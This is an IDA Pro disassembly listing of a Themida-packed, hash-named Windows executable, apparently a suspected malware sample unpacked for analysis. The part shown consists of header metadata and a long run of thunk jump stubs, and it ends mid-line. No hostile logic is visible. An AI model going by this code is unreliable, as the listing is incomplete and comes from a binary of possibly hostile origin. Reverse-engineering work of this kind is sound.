; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 55DD86439BE077422D1B5599A6FC8166 ; File Name : u:\work\55dd86439be077422d1b5599a6fc8166_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00110000 (1114112.) ; Section size in file : 00110000 (1114112.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing byte_401000 db 5 dup(0CCh) ; DATA XREF: Themida_:0057ABCCo ; --------------------------------------------------------------------------- jmp loc_42F630 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43E09Co jmp loc_412CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421AF0+29p jmp sub_422050 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_431250 ; --------------------------------------------------------------------------- jmp loc_420DA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004118E3p jmp sub_411910 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B1BDp ; ___:0040B1CAp ... jmp sub_403C00 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FA90+34p jmp sub_40B000 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404C70+619p ; sub_404C70+6D8p ... jmp sub_40A030 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42A100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_413510+3Bp ; ___:00414B30p jmp sub_4155E0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_42F840+6Ep ; sub_42F840+8Ap ... jmp sub_432FE0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:0042EF22p ; sub_42F840+3Fp ... jmp sub_432E60 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423940 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D130 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B000+3Ap ; sub_40B070+1Ap jmp sub_432980 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E660+37Bp jmp sub_421C30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C0C0+8p jmp sub_40C280 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_431900+5Ap ; sub_433710+50p jmp sub_4318C0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43E07Co jmp sub_41C610 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416EAAp jmp sub_41FBD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40BF60+32p jmp sub_40C120 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416EBAp jmp sub_418290 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415830+5Ep ; sub_416280+32p jmp sub_4161C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E660+161p ; sub_4223E0+3p jmp sub_421A50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ACE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421C30+3p ; ___:00421FFFp ... jmp sub_422170 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C400+43p jmp sub_40CAD0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_427FF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_407570+Ap jmp sub_407610 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p ; sub_424790+6p ... jmp sub_424500 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p ; sub_430C00+14Fp jmp sub_432DF0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p jmp sub_430990 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043E174o jmp sub_429DC0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43E0A0o jmp loc_41E2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418330+D0p ; sub_418490+2Dp jmp sub_418A20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p ; sub_40FF60+990p ... jmp sub_411860 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:0042F336p ; ___:0042F3A4p ... jmp sub_430F00 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421D50+9p ; sub_422240+18p jmp sub_4223C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p ; sub_40A9F0+82p ... jmp sub_40ABE0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p ; ___:00423AA6p ... jmp sub_419AE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416010+7p jmp sub_416640 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415520+4Fp ; sub_415E70+11p ... jmp sub_4160C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_429C30+58p jmp sub_429AA0 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp jmp sub_421CB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_421FB0+11p ; ___:00421FD7p ... jmp sub_4224D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413D60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421A30+3p ; ___:00421D9Fp ... jmp sub_421F10 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_414400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_426F20+3p jmp sub_426F50 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415A00+11p ; ___:00415A27p ... jmp sub_416470 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_433310 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421B60+5p ; sub_421C50+6p ... jmp sub_422150 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416A5Bp ; ___:00439F5Ej ... jmp sub_417A60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404C70+6Ap ; sub_404C70+1AFp ... jmp sub_412970 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43E074o jmp sub_4192C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_431A20+6p ; ___:00431A33p ... jmp sub_42F480 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42E3D0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43E15Co jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423C9Dp jmp sub_423760 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_431F50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:004150A8p jmp sub_415990 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41B950+F7p ; sub_41B950+10Bp ... jmp sub_409EA0 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_409910+Ap jmp sub_409A00 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4133D0+55p ; sub_4133D0+94p ... jmp sub_415770 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425020+183p jmp sub_4235F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414BBEp jmp sub_415520 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_427600+3p jmp sub_427630 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43E038o jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415DD0+11p ; ___:00415DF7p ... jmp sub_4165F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418B10+23p ; sub_418D80+11p jmp sub_418E60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418A90+3p ; sub_418E90+54p ... jmp sub_418CE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_409600+6Ap ; sub_409600+103p jmp sub_4098A0 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_432840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413D7Dp jmp sub_413B70 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A1E4p jmp sub_41AFE0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4133D0+88p ; sub_4147D0+BFp ... jmp sub_415930 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_42F480+7p ; sub_42F4F0+19p ... jmp sub_4338B0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DB10 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:004310AAp jmp sub_430A50 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_4071E0+11p ; sub_407370+1Fp jmp sub_407410 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p ; sub_4036D0+3C5p ... jmp sub_403E00 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421C10+3p jmp sub_422190 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C250+Ap jmp sub_40C310 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp ; sub_407030+1Fp ... jmp sub_403C70 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413274p ; ___:0043998Cj ... jmp sub_4153B0 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42B350+3p jmp sub_42B380 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AF00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414BCDp jmp sub_414C70 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407610+7p ; sub_409A00+7p ... jmp sub_407640 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_413510+73p ; ___:00414B6Dp ... jmp sub_415600 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E660+58p jmp sub_420530 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413DA0+84p jmp sub_4137E0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00432428p jmp sub_42FD70 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p jmp sub_4075A0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp ; sub_404C70+230p ... jmp sub_40A430 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A790+21p ; sub_40A9F0+A5p jmp sub_40A9D0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40AF70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A430+129p ; sub_40A810+4p ... jmp sub_40A7E0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo jmp sub_426650 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004322BDp jmp sub_42FA70 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_4072F0+3p ; ___:004073BFp ... jmp sub_407480 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D830+346p ; sub_41D830+410p ... jmp sub_421870 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421AB0+11p ; sub_421FB0+1Fp jmp sub_4220E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42B4F0+3p jmp sub_42B520 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_407790 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C120+5Fp jmp sub_40C2F0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_4034E0+F6p ; sub_4034E0+12Ep ... jmp sub_409C30 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E660+113p ; sub_41E660+124p jmp sub_421A30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043E060o jmp sub_41F860 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416AFBp ; ___:00439ED2j ... jmp sub_4176B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp jmp sub_42FF50 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418B10+32p jmp sub_418D80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_433570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415420+5p ; sub_415620+6p ... jmp sub_416030 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BCB0+29p ; sub_40BDD0+29p jmp sub_40BF60 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E660+3E9p ; ___:0043B1ABj jmp sub_421AF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4144D0+BFp jmp sub_415210 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4164E0+Ap jmp sub_416820 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416B67p ; ___:00439E73j ... jmp sub_416FB0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418330 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416E1Fp jmp sub_417FD0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414690 ; --------------------------------------------------------------------------- jmp loc_42F030 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_40FF60+387p ; sub_41EF30+21Dp ... jmp sub_41B6E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416E5Ap jmp sub_418180 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409490+8p jmp sub_4094E0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_409600+A5p ; sub_412BC0+21p jmp sub_409810 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404C70+385p ; sub_41D830+5AAp jmp sub_41C030 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416D6Fp jmp sub_4036D0 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p ; sub_418E90+11p jmp sub_418FE0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424840+Cp ; sub_424840+3Ep ... jmp sub_424330 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_42F670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404C70+860p ; sub_404C70+ADCp ... jmp sub_40A290 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042EB16p ; ___:0042EB66p ... jmp sub_431490 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E660+367p ; sub_41E660+3D4p ... jmp sub_421C80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_426A60+107o jmp sub_426CE0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424720+18p ; sub_424760+Ap ... jmp sub_4246D0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416120+9p ; sub_4161C0+18p jmp sub_4167D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_431280+32o jmp sub_431A80 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42EB60 ; --------------------------------------------------------------------------- jmp loc_419BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_429AA0+67p jmp sub_41FEF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p ; sub_42F0B0+2p ... jmp sub_430270 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp ; sub_4144D0+40p ... jmp sub_415160 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404640+19Fp ; sub_404640+212p ... jmp sub_409EF0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p ; sub_424E90+F1p jmp sub_424E20 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425020+127p jmp sub_424E90 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416E3Ap jmp sub_418080 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416E0Fp jmp sub_417F10 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4303D0+1p jmp sub_430460 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00425F11p jmp sub_426450 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418330+71p ; sub_418330+BBp ... jmp sub_4189F0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A0A0+7p jmp sub_40A0C0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004316D8p ; sub_431730+2Bp jmp sub_431900 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_431280+1p jmp sub_4314C0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp jmp sub_421BD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414360+5Bp jmp sub_415030 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_4153B0+29p ; sub_4154D0+29p jmp sub_415F30 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00435F42p ; ___:00435F52p ... jmp sub_435E00 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp ; sub_4133D0+9Ep ... jmp sub_415960 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B520+62p ; ___:0040B9E8p ... jmp sub_40BE60 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4300C0 ; --------------------------------------------------------------------------- jmp loc_42EC40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40134D proc near ; DATA XREF: ___:0043E1A8o jmp sub_42B3A0 sub_40134D endp ; --------------------------------------------------------------------------- jmp loc_42B2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416090+8p jmp sub_4166B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4133D0+71p ; sub_4133D0:loc_41349Cp ... jmp sub_415910 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418330+AFp ; sub_418FE0+3p jmp sub_418AB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043E104o jmp sub_426A60 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B520+39p ; sub_40B520+78p ... jmp sub_40BE90 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_4257A0+29p ; sub_4257A0+38p jmp sub_4256B0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A500+1Cp jmp sub_41A540 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043E164o jmp sub_429C30 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408BE6p ; ___:00414481p jmp sub_414230 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418490+72p jmp sub_406C30 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409D20+7p ; sub_409E70+7p ... jmp sub_40A700 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43E080o jmp sub_422A40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413AE0 ; --------------------------------------------------------------------------- jmp sub_42B350 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418900+11p ; sub_421CB0+1Fp jmp sub_418C50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B2D0 loc_4013A2: ; CODE XREF: sub_42B2D0+3j jmp sub_42A810 ; END OF FUNCTION CHUNK FOR sub_42B2D0 ; --------------------------------------------------------------------------- jmp sub_42B4F0 ; --------------------------------------------------------------------------- jmp loc_42EBB0 ; --------------------------------------------------------------------------- jmp loc_414A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp jmp sub_407370 sub_4013B6 endp ; --------------------------------------------------------------------------- jmp loc_42E7B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p ; ___:00416AEBp ... jmp sub_40FDA0 sub_4013C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C5 proc near ; CODE XREF: sub_425270+Cp ; sub_4253E0+Ap ... jmp sub_425230 sub_4013C5 endp ; --------------------------------------------------------------------------- jmp loc_40D2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CF proc near ; CODE XREF: sub_40A8C0+20p jmp sub_40A9F0 sub_4013CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: 